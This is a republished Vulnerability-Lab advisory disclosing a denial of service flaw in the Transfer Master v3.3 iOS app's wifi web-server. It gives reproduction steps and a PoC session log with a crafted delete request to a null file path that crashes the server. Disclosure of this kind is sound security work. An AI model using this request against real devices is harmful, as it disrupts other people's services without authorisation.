Transfer Master 3.3 Denial Of Service

2020.04.28
Risk: Low
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

Document Title: =============== Transfer Master v3.3 iOS - Denial of Service Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2224 Release Date: ============= 2020-04-28 Vulnerability Laboratory ID (VL-ID): ==================================== 2224 Common Vulnerability Scoring System: ==================================== 4.2 Vulnerability Class: ==================== Denial of Service Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Transfer Master - Transfer photo,video,file,contact and File manager. (Copy of the Homepage: https://apps.apple.com/us/app/transfer-master-transfer-photo-video-file-contact/id590196698 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a remote denial of service vulnerability in the Transfer Master v3.3 mobile ios web-application. Vulnerability Disclosure Timeline: ================================== 2020-04-28: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre auth - no privileges User Interaction: ================= No User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A remote denial of service vulnerability has been discovered in the official Transfer Master v3.3 mobile ios web-application. The denial of service vulnerability is located in the delete post method request on the files path. Remote attackers can manipulate the ui by sending special crafted requests to cause a null pointer error that crashs the wifi web-server. The attacker changes the file delete request to a null path which results in a null pointer that crashs the application. Successful exploitation of the denial of service vulnerability results in a wifi web-server ui crash and freeze. Proof of Concept (PoC): ======================= The denial of service vulnerability can be exploited by remote attackers with wifi network access without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install and start the local ios app 2. Open the wifi share option to start the web-server 3. Move to the front ui 4. Tamper the https session and reply by deleting the files path with (null) as empty quote 5. The web-server crashs and the wifi ui becomes unavailable by a blank screen that responds with not found Note: Service still alive but finally unavailable cause of a null pointer issue 6. Successful reproduce of the denial of service vulnerability! --- PoC Session Logs (POST/GET) --- http://localhost:8181/files//(null) Host: localhost:8181 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 content-type: application/x-www-form-urlencoded;charset=UTF-8 Content-Length: 28 Connection: keep-alive _method=delete&commit=Delete - POST: HTTP/1.1 302 Found Location: / Content-Type: text/html; charset=utf-8 Content-Length: 67 - http://localhost:8181/ Host: localhost:8181 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8181/ Connection: keep-alive - (Game Over) GET: HTTP/1.1 404 Not Found (Unavailable) Accept-Ranges: bytes Content-Length: 0 Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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